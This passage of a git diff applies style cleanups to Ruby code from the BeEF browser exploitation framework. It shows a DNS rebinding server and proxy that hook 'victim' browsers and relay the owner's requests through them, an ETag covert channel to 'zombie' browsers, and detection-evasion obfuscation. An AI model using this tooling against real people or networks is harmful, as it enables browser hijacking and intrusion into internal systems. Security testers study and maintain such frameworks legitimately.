"t.respond!(Resolv::DNS::Name.create('%s'))", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym elsif response.is_a?(Array) str1 = "t.respond!(Resolv::DNS::Name.create('%s'))" str2 = '' response.each do |r| raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r) - str2 << sprintf(str1, r) + + str2 << format(str1, r) end str2 @@ -122,110 +120,100 @@ module BeEF end elsif resource == Resolv::DNS::Resource::IN::PTR if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) - sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response + format "t.respond!(Resolv::DNS::Name.create('%s'))", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'PTR' end elsif resource == Resolv::DNS::Resource::IN::SOA if response.is_a?(Array) unless BeEF::Filters.is_valid_domain?(response[0]) && - BeEF::Filters.is_valid_domain?(response[1]) && - response[2].is_a?(Integer) && - response[3].is_a?(Integer) && - response[4].is_a?(Integer) && - response[5].is_a?(Integer) && - response[6].is_a?(Integer) + BeEF::Filters.is_valid_domain?(response[1]) && + response[2].is_a?(Integer) && + response[3].is_a?(Integer) && + response[4].is_a?(Integer) && + response[5].is_a?(Integer) && + response[6].is_a?(Integer) raise InvalidDnsResponseError, 'SOA' end data = { - :mname => response[0], - :rname => response[1], - :serial => response[2], - :refresh => response[3], - :retry => response[4], - :expire => response[5], - :minimum => response[6] + mname: response[0], + rname: response[1], + serial: response[2], + refresh: response[3], + retry: response[4], + expire: response[5], + minimum: response[6] } - sprintf "t.respond!(Resolv::DNS::Name.create('%s'), " + - "Resolv::DNS::Name.create('%s'), " + - '%d, ' + - '%d, ' + - '%d, ' + - '%d, ' + - '%d)', - data + format "t.respond!(Resolv::DNS::Name.create('%s'), " + + "Resolv::DNS::Name.create('%s'), " + + '%d, ' + + '%d, ' + + '%d, ' + + '%d, ' + + '%d)', + data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'SOA' end elsif resource == Resolv::DNS::Resource::IN::WKS if response.is_a?(Array) - unless BeEF::Filters.is_valid_ip?(resource[0]) && - resource[1].is_a?(Integer) && - resource[2].is_a?(Integer) - raise InvalidDnsResponseError, 'WKS' unless resource.is_a?(String) + if !BeEF::Filters.is_valid_ip?(resource[0]) && + resource[1].is_a?(Integer) && + resource[2].is_a?(Integer) && !resource.is_a?(String) + raise InvalidDnsResponseError, 'WKS' end data = { - :address => response[0], - :protocol => response[1], - :bitmap => response[2] + address: response[0], + protocol: response[1], + bitmap: response[2] } - sprintf "t.respond!('%
s', %d, %d)", data + format "t.respond!('%
s', %d, %d)", data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'WKS' end else raise UnknownDnsResourceError end - - src end # Raised when an invalid pattern is given. class InvalidDnsPatternError < StandardError - DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end - end # Raised when a response is not valid for the given DNS resource record. class InvalidDnsResponseError < StandardError - def initialize(message = nil) - str = "Failed to add DNS rule with invalid response for %s resource record", message - message = sprintf str, message unless message.nil? + str = 'Failed to add DNS rule with invalid response for %s resource record', message + message = format str, message unless message.nil? super(message) end - end # Raised when an unknown DNS resource record is given. class UnknownDnsResourceError < StandardError - DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end - end - end - end end end diff --git a/extensions/dns/rest/dns.rb b/extensions/dns/rest/dns.rb index a88ec36ee..429956954 100644 --- a/extensions/dns/rest/dns.rb +++ b/extensions/dns/rest/dns.rb @@ -6,10 +6,8 @@ module BeEF module Extension module Dns - # This class handles the routing of RESTful API requests that query BeEF's DNS server class DnsRest < BeEF::Core::Router::Router - # Filters out bad requests before performing any routing before do @dns ||= BeEF::Extension::Dns::Server.instance @@ -27,157 +25,136 @@ module BeEF # Returns the entire current DNS ruleset get '/ruleset' do - begin - ruleset = @dns.get_ruleset - count = ruleset.length + ruleset = @dns.get_ruleset + count = ruleset.length - result = {} - result[:count] = count - result[:ruleset] = ruleset - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving DNS ruleset (#{e.message})" - halt 500 - end + result = {} + result[:count] = count + result[:ruleset] = ruleset + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving DNS ruleset (#{e.message})" + halt 500 end # Returns a specific rule given its id get '/rule/:id' do - begin - id = params[:id] + id = params[:id] - rule = @dns.get_rule(id) - raise InvalidParamError, 'id' if rule.nil? - halt 404 if rule.empty? + rule = @dns.get_rule(id) + raise InvalidParamError, 'id' if rule.nil? - rule.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})" - halt 500 - end + halt 404 if rule.empty? + + rule.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})" + halt 500 end # Adds a new DNS rule post '/rule' do - begin - body = JSON.parse(request.body.read) + body = JSON.parse(request.body.read) - pattern = body['pattern'] - resource = body['resource'] - response = body['response'] + pattern = body['pattern'] + resource = body['resource'] + response = body['response'] - # Validate required JSON keys - if pattern.nil? || pattern.eql?('') - raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' - end - if resource !~ /\A[A-Z]+\Z/ - raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' - end - unless response.is_a?(Array) - raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' - end - if response.empty? - raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' - end + # Validate required JSON keys + raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('') + raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/ + raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array) + raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty? - # Validate resource - case resource - when "A" - dns_resource = Resolv::DNS::Resource::IN::A - when "AAAA" - dns_resource = Resolv::DNS::Resource::IN::AAAA - when "CNAME" - dns_resource = Resolv::DNS::Resource::IN::CNAME - when "HINFO" - dns_resource = Resolv::DNS::Resource::IN::HINFO - when "MINFO" - dns_resource = Resolv::DNS::Resource::IN::MINFO - when "MX" - dns_resource = Resolv::DNS::Resource::IN::MX - when "NS" - dns_resource = Resolv::DNS::Resource::IN::NS - when "PTR" - dns_resource = Resolv::DNS::Resource::IN::PTR - when "SOA" - dns_resource = Resolv::DNS::Resource::IN::SOA - when "TXT" - dns_resource = Resolv::DNS::Resource::IN::TXT - when "WKS" - dns_resource = Resolv::DNS::Resource::IN::WKS - else - raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' - end - - # Add rule - id = @dns.add_rule( - :pattern => pattern, - :resource => dns_resource, - :response => response - ) - - # Return result - result = {} - result['success'] = true - result['id'] = id - result.to_json - rescue InvalidJsonError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while adding DNS rule (#{e.message})" - halt 500 + # Validate resource + case resource + when 'A' + dns_resource = Resolv::DNS::Resource::IN::A + when 'AAAA' + dns_resource = Resolv::DNS::Resource::IN::AAAA + when 'CNAME' + dns_resource = Resolv::DNS::Resource::IN::CNAME + when 'HINFO' + dns_resource = Resolv::DNS::Resource::IN::HINFO + when 'MINFO' + dns_resource = Resolv::DNS::Resource::IN::MINFO + when 'MX' + dns_resource = Resolv::DNS::Resource::IN::MX + when 'NS' + dns_resource = Resolv::DNS::Resource::IN::NS + when 'PTR' + dns_resource = Resolv::DNS::Resource::IN::PTR + when 'SOA' + dns_resource = Resolv::DNS::Resource::IN::SOA + when 'TXT' + dns_resource = Resolv::DNS::Resource::IN::TXT + when 'WKS' + dns_resource = Resolv::DNS::Resource::IN::WKS + else + raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' end + + # Add rule + id = @dns.add_rule( + pattern: pattern, + resource: dns_resource, + response: response + ) + + # Return result + result = {} + result['success'] = true + result['id'] = id + result.to_json + rescue InvalidJsonError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while adding DNS rule (#{e.message})" + halt 500 end # Removes a rule given its id delete '/rule/:id' do - begin - id = params[:id] + id = params[:id] - removed = @dns.remove_rule!(id) - raise InvalidParamError, 'id' if removed.nil? + removed = @dns.remove_rule!(id) + raise InvalidParamError, 'id' if removed.nil? - result = {} - result['success'] = removed - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while removing DNS rule with id #{id} (#{e.message})" - halt 500 - end + result = {} + result['success'] = removed + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while removing DNS rule with id #{id} (#{e.message})" + halt 500 end # Raised when invalid JSON input is passed to an /api/dns handler. class InvalidJsonError < StandardError - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end - end # Raised when an invalid named parameter is passed to an /api/dns handler. class InvalidParamError < StandardError - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler' def initialize(message = nil) - str = "Invalid \"%s\" parameter passed to /api/dns handler" - message = sprintf str, message unless message.nil? + str = 'Invalid "%s" parameter passed to /api/dns handler' + message = format str, message unless message.nil? super(message) end - end - end - end end end diff --git a/extensions/dns_rebinding/api.rb b/extensions/dns_rebinding/api.rb index ee2d97c4f..86f55b7eb 100644 --- a/extensions/dns_rebinding/api.rb +++ b/extensions/dns_rebinding/api.rb @@ -1,28 +1,25 @@ module BeEF -module Extension -module DNSRebinding -module API - - module ServHandler - - BeEF::API::Registrar.instance.register( - BeEF::Extension::DNSRebinding::API::ServHandler, - BeEF::API::Server, - 'pre_http_start' - ) - - def self.pre_http_start(http_hook_server) - config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') - address_http = config['address_http_internal'] - address_proxy = config['address_proxy_internal'] - port_http = config['port_http'] - port_proxy = config['port_proxy'] - Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) } - Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) } - end + module Extension + module DNSRebinding + module API + module ServHandler + BeEF::API::Registrar.instance.register( + BeEF::Extension::DNSRebinding::API::ServHandler, + BeEF::API::Server, + 'pre_http_start' + ) + def self.pre_http_start(_http_hook_server) + config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + address_http = config['address_http_internal'] + address_proxy = config['address_proxy_internal'] + port_http = config['port_http'] + port_proxy = config['port_proxy'] + Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) } + Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) } + end + end + end end -end -end -end + end end diff --git a/extensions/dns_rebinding/dns_rebinding.rb b/extensions/dns_rebinding/dns_rebinding.rb index ebaafff5d..ed6cf8cc1 100644 --- a/extensions/dns_rebinding/dns_rebinding.rb +++ b/extensions/dns_rebinding/dns_rebinding.rb @@ -1,230 +1,225 @@ module BeEF -module Extension -module DNSRebinding - #Very simple HTTP server. Its task is only hook victim - class Server + module Extension + module DNSRebinding + # Very simple HTTP server. Its task is only hook victim + class Server @debug_mode = false def self.log(msg) - if @debug_mode - STDERR.puts msg.to_s - end + warn msg.to_s if @debug_mode end def self.run_server(address, port) - server = TCPServer.new(address, port) - @debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") - loop do - s = server.accept - Thread.new(s) do |socket| - victim_ip = socket.peeraddr[2].to_s + server = TCPServer.new(address, port) + @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode') + loop do + s = server.accept + Thread.new(s) do |socket| + victim_ip = socket.peeraddr[2].to_s - log "-------------------------------\n" - log "[Server] Incoming request from "+victim_ip+"(Victim)\n" + log "-------------------------------\n" + log '[Server] Incoming request from ' + victim_ip + "(Victim)\n" - response = File.read(File.expand_path('../views/index.html', __FILE__)) - configuration = BeEF::Core::Configuration.instance + response = File.read(File.expand_path('views/index.html', __dir__)) + configuration = BeEF::Core::Configuration.instance - proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" - hook_file = configuration.get("beef.http.hook_file") - hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" - - response.sub!('path_to_hookjs_template', hook_uri) + proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' + hook_file = configuration.get('beef.http.hook_file') + hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" - start_string = socket.gets - socket.print "HTTP/1.1 200 OK\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{response.bytesize}\r\n" + - "Connection: close\r\n" - socket.print "\r\n" - socket.print response - socket.close + response.sub!('path_to_hookjs_template', hook_uri) - #Indicate that victim load all javascript and we can block it with iptables. - dr_config = configuration.get("beef.extension.dns_rebinding") - if start_string.include?("load") - log "[Server] Block with iptables\n" - port_http = dr_config['port_http'] - if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer) - IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|} - else - print_error "[Dns_Rebinding] victim_ip or port_http values are illegal." - end - end - log "-------------------------------\n" + start_string = socket.gets + socket.print "HTTP/1.1 200 OK\r\n" + + "Content-Type: text/html\r\n" + + "Content-Length: #{response.bytesize}\r\n" + + "Connection: close\r\n" + socket.print "\r\n" + socket.print response + socket.close + + # Indicate that victim load all javascript and we can block it with iptables. + dr_config = configuration.get('beef.extension.dns_rebinding') + if start_string.include?('load') + log "[Server] Block with iptables\n" + port_http = dr_config['port_http'] + if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer) + IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'], + 'r+') do |io| + end + else + print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.' end + end + log "-------------------------------\n" end - end - end + end + end + end - class Proxy + class Proxy @queries = Queue.new @responses = {} @mutex_responses = nil @mutex_queries = nil @debug_mode = false - def self.send_http_response(socket, response, heads={}) - socket.print "HTTP/1.1 200 OK\r\n" + def self.send_http_response(socket, response, heads = {}) + socket.print "HTTP/1.1 200 OK\r\n" - headers = {} - headers["Content-Type"]="text/html" - headers["Content-Length"]=response.size.to_s - headers["Connection"]="close" - headers["Access-Control-Allow-Origin"]="*" - headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS" - headers["Access-Control-Expose-Headers"]="Content-Type, method, path" - headers["Access-Control-Allow-Headers"]="Content-Type, method, path" + headers = {} + headers['Content-Type'] = 'text/html' + headers['Content-Length'] = response.size.to_s + headers['Connection'] = 'close' + headers['Access-Control-Allow-Origin'] = '*' + headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS' + headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path' + headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path' - headers_a = heads.to_a - headers_a.each do |header, value| - headers[header] = value - end + headers_a = heads.to_a + headers_a.each do |header, value| + headers[header] = value + end - headers.to_a.each do |header, value| - socket.print header+": "+value+"\r\n" - end + headers.to_a.each do |header, value| + socket.print header + ': ' + value + "\r\n" + end - socket.print "\r\n" - socket.print response + socket.print "\r\n" + socket.print response end def self.log(log_message) - if @debug_mode - STDERR.puts log_message - end + warn log_message if @debug_mode end def self.read_http_message(socket) - message = {} - message['start_string'] = socket.gets.chomp - message['headers'] = {} - message['response'] = "" + message = {} + message['start_string'] = socket.gets.chomp + message['headers'] = {} + message['response'] = '' + c = socket.gets + while c != "\r\n" + name = c[/(.+): (.+)/, 1] + value = c[/(.+): (.+)/, 2] + message['headers'][name] = value.chomp c = socket.gets - while c != "\r\n" do - name = c[/(.+): (.+)/, 1] - value = c[/(.+): (.+)/, 2] - message['headers'][name] = value.chomp - c = socket.gets - end - length = message['headers']['Content-Length'] - if length - #Ruby read() doesn't return while not read all byte - resp = socket.read(length.to_i) - message['response'] = resp - end - return message + end + length = message['headers']['Content-Length'] + if length + # Ruby read() doesn't return while not read all byte + resp = socket.read(length.to_i) + message['response'] = resp + end + message end def self.handle_victim(socket, http_message) - log "[Victim]request from victim\n" - log http_message['start_string'].to_s+"\n" + log "[Victim]request from victim\n" + log http_message['start_string'].to_s + "\n" - if http_message['start_string'].include?("POST") - #Get result from POST query - log "[Victim]Get the result of last query\n" + if http_message['start_string'].include?('POST') + # Get result from POST query + log "[Victim]Get the result of last query\n" - #Read query on which asked victim - query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2] - log "[Victim]asked path: "+query+"\n" + # Read query on which asked victim + query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2] + log '[Victim]asked path: ' + query + "\n" - length = http_message['headers']['Content-Length'].to_i - content_type = http_message['headers']['Content-Type'] - log "[Victim]Content-type: "+content_type.to_s+"\n" - log "[Vicitm]Length: "+length.to_s+"\n" - - response = http_message['response'] - log "[Victim]Get content!\n" + length = http_message['headers']['Content-Length'].to_i + content_type = http_message['headers']['Content-Type'] + log '[Victim]Content-type: ' + content_type.to_s + "\n" + log '[Vicitm]Length: ' + length.to_s + "\n" - send_http_response(socket, "ok") - socket.close + response = http_message['response'] + log "[Victim]Get content!\n" - log "[Victim]Close connection POST\n" - log "--------------------------------\n" + send_http_response(socket, 'ok') + socket.close - @mutex_responses.lock - @responses[query] = [content_type, response] - @mutex_responses.unlock - elsif http_message['start_string'].include?("OPTIONS") - send_http_response(socket, "") - socket.close - log "[Victim]Respond on OPTIONS reques\n" - log "--------------------------------\n" - else - #Look for queues from beef owner - log "[Victim]Waiting for next query..\n" - while @queries.size == 0 - end - - #Get the last query - @mutex_queries.lock - log "[Victim]Get the last query\n" - last_query = @queries.pop - log "[Victim]Last query:"+last_query.to_s+"\n" - @mutex_queries.unlock - - response = last_query[2] - send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]}) - log "[Victim]Send next query to victim's browser\n" - log "---------------------------------------------\n" - socket.close - end - end - - #Handle request from BeEF owner - def self.handle_owner(socket, http_message) - log "[Owner]Request from owner\n" - path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2] - - if http_message['start_string'].include?("GET") - if path != nil - log "[Owner]Need path: "+path+"\n" - @queries.push(['GET', path, '']) - end - elsif http_message['start_string'].include?("POST") - log "[Owner]Get POST request\n" - if path != nil - @queries.push(['POST', path, http_message['response']]) - end - end - - #Waiting for response, this check should not conflict with thread 2 - while @responses[path] == nil - end + log "[Victim]Close connection POST\n" + log "--------------------------------\n" @mutex_responses.lock - log "[Owner]Get the response\n" - response_a = @responses[path] + @responses[query] = [content_type, response] @mutex_responses.unlock - - response = response_a[1] - content_type = response_a[0] - - send_http_response(socket, response, {'Content-Type'=>content_type}) - - log "[Owner]Send response to owner\n" - log "-------------------------------\n" + elsif http_message['start_string'].include?('OPTIONS') + send_http_response(socket, '') socket.close + log "[Victim]Respond on OPTIONS reques\n" + log "--------------------------------\n" + else + # Look for queues from beef owner + log "[Victim]Waiting for next query..\n" + while @queries.size == 0 + end + + # Get the last query + @mutex_queries.lock + log "[Victim]Get the last query\n" + last_query = @queries.pop + log '[Victim]Last query:' + last_query.to_s + "\n" + @mutex_queries.unlock + + response = last_query[2] + send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] }) + log "[Victim]Send next query to victim's browser\n" + log "---------------------------------------------\n" + socket.close + end + end + + # Handle request from BeEF owner + def self.handle_owner(socket, http_message) + log "[Owner]Request from owner\n" + path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2] + + if http_message['start_string'].include?('GET') + unless path.nil? + log '[Owner]Need path: ' + path + "\n" + @queries.push(['GET', path, '']) + end + elsif http_message['start_string'].include?('POST') + log "[Owner]Get POST request\n" + @queries.push(['POST', path, http_message['response']]) unless path.nil? + end + + # Waiting for response, this check should not conflict with thread 2 + while @responses[path].nil? + end + + @mutex_responses.lock + log "[Owner]Get the response\n" + response_a = @responses[path] + @mutex_responses.unlock + + response = response_a[1] + content_type = response_a[0] + + send_http_response(socket, response, { 'Content-Type' => content_type }) + + log "[Owner]Send response to owner\n" + log "-------------------------------\n" + socket.close end def self.run_server(address, port) - @server = TCPServer.new(address, port) - @mutex_responses = Mutex.new - @mutex_queries = Mutex.new - @debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") - loop do - s = @server.accept - Thread.new(s) do |socket| - http_message = read_http_message(socket) - if http_message['start_string'].include?("from_victim") - handle_victim(socket, http_message) - else - handle_owner(socket, http_message) - end - end + @server = TCPServer.new(address, port) + @mutex_responses = Mutex.new + @mutex_queries = Mutex.new + @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode') + loop do + s = @server.accept + Thread.new(s) do |socket| + http_message = read_http_message(socket) + if http_message['start_string'].include?('from_victim') + handle_victim(socket, http_message) + else + handle_owner(socket, http_message) + end end + end end + end end - -end -end + end end diff --git a/extensions/dns_rebinding/extension.rb b/extensions/dns_rebinding/extension.rb index 2cd0b6234..2d0d219f1 100644 --- a/extensions/dns_rebinding/extension.rb +++ b/extensions/dns_rebinding/extension.rb @@ -1,16 +1,14 @@ module BeEF -module Extension -module DNSRebinding + module Extension + module DNSRebinding + extend BeEF::API::Extension - extend BeEF::API::Extension - - @short_name = 'DNS Rebinding' - @full_name = 'DNS Rebinding' - @description = 'DNS Rebinding extension' - -end -end + @short_name = 'DNS Rebinding' + @full_name = 'DNS Rebinding' + @description = 'DNS Rebinding extension' + end + end end -require 'extensions/dns_rebinding/api.rb' -require 'extensions/dns_rebinding/dns_rebinding.rb' +require 'extensions/dns_rebinding/api' +require 'extensions/dns_rebinding/dns_rebinding' diff --git a/extensions/etag/api.rb b/extensions/etag/api.rb index cb5c963e4..437f04276 100644 --- a/extensions/etag/api.rb +++ b/extensions/etag/api.rb @@ -4,25 +4,22 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module ETag -module API - - module ETagHandler - BeEF::API::Registrar.instance.register( + module Extension + module ETag + module API + module ETagHandler + BeEF::API::Registrar.instance.register( BeEF::Extension::ETag::API::ETagHandler, BeEF::API::Server, 'mount_handler' - ) + ) - def self.mount_handler(beef_server) - beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!) - print_info "ETag Server: /etag" + def self.mount_handler(beef_server) + beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!) + print_info 'ETag Server: /etag' + end + end + end end - end - -end -end -end end diff --git a/extensions/etag/etag.rb b/extensions/etag/etag.rb index 0b80de770..b3df48938 100644 --- a/extensions/etag/etag.rb +++ b/extensions/etag/etag.rb @@ -4,60 +4,58 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module ETag + module Extension + module ETag + require 'sinatra/base' + require 'singleton' - require 'sinatra/base' - require 'singleton' - - class ETagMessages + class ETagMessages include Singleton attr_accessor :messages - - def initialize() - @messages={} + + def initialize + @messages = {} end - end - - class ETagWebServer < Sinatra::Base + end + + class ETagWebServer < Sinatra::Base def create_ET_header - inode = File.stat(__FILE__).ino - size = 3 - mtime = (Time.now.to_f * 1000000).to_i - return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L" + inode = File.stat(__FILE__).ino + size = 3 + mtime = (Time.now.to_f * 1_000_000).to_i + "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L" end get '/:id/start' do - data = ETagMessages.instance.messages[params[:id].to_i] - - $etag_server_state = {} unless defined?($etag_server_state) - $etag_server_state[params[:id]] = {} - $etag_server_state[params[:id]][:cur_bit] = -1 - $etag_server_state[params[:id]][:last_header] = create_ET_header - $etag_server_state[params[:id]][:message] = data - - headers "ETag" => $etag_server_state[params[:id]][:last_header] - body "Message start" + data = ETagMessages.instance.messages[params[:id].to_i] + + $etag_server_state = {} unless defined?($etag_server_state) + $etag_server_state[params[:id]] = {} + $etag_server_state[params[:id]][:cur_bit] = -1 + $etag_server_state[params[:id]][:last_header] = create_ET_header + $etag_server_state[params[:id]][:message] = data + + headers 'ETag' => $etag_server_state[params[:id]][:last_header] + body 'Message start' end - get '/:id' do - return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil? - if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1 - $etag_server_state[params[:id]][:cur_bit] += 1 - else - $etag_server_state.delete(params[:id]) - status 404 - return "Bing" - end - - if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1' - $etag_server_state[params[:id]][:last_header] = create_ET_header - end + get '/:id' do + return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil? - headers "ETag" => $etag_server_state[params[:id]][:last_header] - body "Bit" + if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1 + $etag_server_state[params[:id]][:cur_bit] += 1 + else + $etag_server_state.delete(params[:id]) + status 404 + return 'Bing' + end + + $etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1' + + headers 'ETag' => $etag_server_state[params[:id]][:last_header] + body 'Bit' end - end -end -end + end + end + end end diff --git a/extensions/etag/extension.rb b/extensions/etag/extension.rb index 0dbfb68c2..281554696 100644 --- a/extensions/etag/extension.rb +++ b/extensions/etag/extension.rb @@ -4,20 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module ETag + module Extension + module ETag + extend BeEF::API::Extension - extend BeEF::API::Extension - - @short_name = 'ETag' - @full_name = 'Server-to-Client ETag-based Covert Timing Channel' - @description = 'This extension provides a custom BeEF\'s HTTP server ' + - 'that implement unidirectional covert timing channel from ' + - 'BeEF communication server to zombie browser over Etag header' - -end -end + @short_name = 'ETag' + @full_name = 'Server-to-Client ETag-based Covert Timing Channel' + @description = 'This extension provides a custom BeEF HTTP server ' \ + 'that implements unidirectional covert timing channel from ' \ + 'BeEF communication server to zombie browser over Etag header.' + end + end end -require 'extensions/etag/api.rb' -require 'extensions/etag/etag.rb' +require 'extensions/etag/api' +require 'extensions/etag/etag' diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb index f30ff3d44..6e2a947ae 100644 --- a/extensions/evasion/evasion.rb +++ b/extensions/evasion/evasion.rb @@ -14,6 +14,7 @@ module BeEF def initialize return unless @@enabled + @techniques ||= load_techniques if @techniques.empty? @@ -40,7 +41,7 @@ module BeEF end chain - rescue => e + rescue StandardError => e print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}" [] end @@ -52,7 +53,7 @@ module BeEF def add_bootstrapper bootstrap = '' - # add stuff at the end, only once (when serving the initial init javascript) + # add stuff at the end, only once (when serving the initial init javascript) @techniques.each do |technique| # Call the "execute" method of the technique module, passing the input and update # the input in preperation for the next technique in the chain @@ -64,7 +65,7 @@ module BeEF end bootstrap - rescue => e + rescue StandardError => e print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}" print_error e.backtrace end @@ -81,7 +82,7 @@ module BeEF print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)" output - rescue => e + rescue StandardError => e print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}" print_error e.backtrace end @@ -89,4 +90,3 @@ module BeEF end end end - diff --git a/extensions/evasion/extension.rb b/extensions/evasion/extension.rb index d37fbea1c..0705f6a52 100644 --- a/extensions/evasion/extension.rb +++ b/extensions/evasion/extension.rb @@ -4,19 +4,19 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Evasion - extend BeEF::API::Extension + module Extension + module Evasion + extend BeEF::API::Extension - @short_name = 'evasion' - @full_name = 'Evasion' - @description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected' -end -end + @short_name = 'evasion' + @full_name = 'Evasion' + @description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected' + end + end end require 'extensions/evasion/evasion' -#require 'extensions/evasion/obfuscation/scramble' +# require 'extensions/evasion/obfuscation/scramble' require 'extensions/evasion/obfuscation/minify' require 'extensions/evasion/obfuscation/base_64' require 'extensions/evasion/obfuscation/whitespace' diff --git a/extensions/evasion/obfuscation/base_64.rb b/extensions/evasion/obfuscation/base_64.rb index 3745f0b54..2c24601e1 100644 --- a/extensions/evasion/obfuscation/base_64.rb +++ b/extensions/evasion/obfuscation/base_64.rb @@ -19,16 +19,15 @@ module BeEF 'var 